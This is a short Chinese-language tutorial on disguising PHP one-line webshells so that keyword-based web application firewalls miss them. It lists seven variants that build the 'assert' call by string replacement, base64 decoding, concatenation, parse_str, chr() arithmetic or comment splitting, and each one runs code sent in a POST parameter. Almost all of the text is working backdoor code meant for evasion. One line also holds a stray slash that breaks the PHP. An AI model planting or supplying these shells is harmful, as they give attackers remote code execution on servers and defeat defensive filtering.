原理
WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:
1.php变量函数
<?php
$a = "assert";
$a($_POST['-7']);
?>
2.str_replace函数
<?php
$a = str_replace("b", "", "absbsbebrbt");//assert
$a($_POST['-7']);
?>
3.base_64decode函数
<?php
$a = base64_decode("YXNzZXJ0");
$a($_POST['-7']);
?>
4,使用“.”连接字符串
<?php
$b = "a"."ss";
$c = "er"."t";
$a = $b.$c;
$a($_POST['-7']);
?>
5.pares_str函数
<?php
$str = "a=assert";
parse_str($str);/parse_str("a=assert");
$a($_POST['-7']);
?>
6.chr函数
<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>
7.使用注释
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>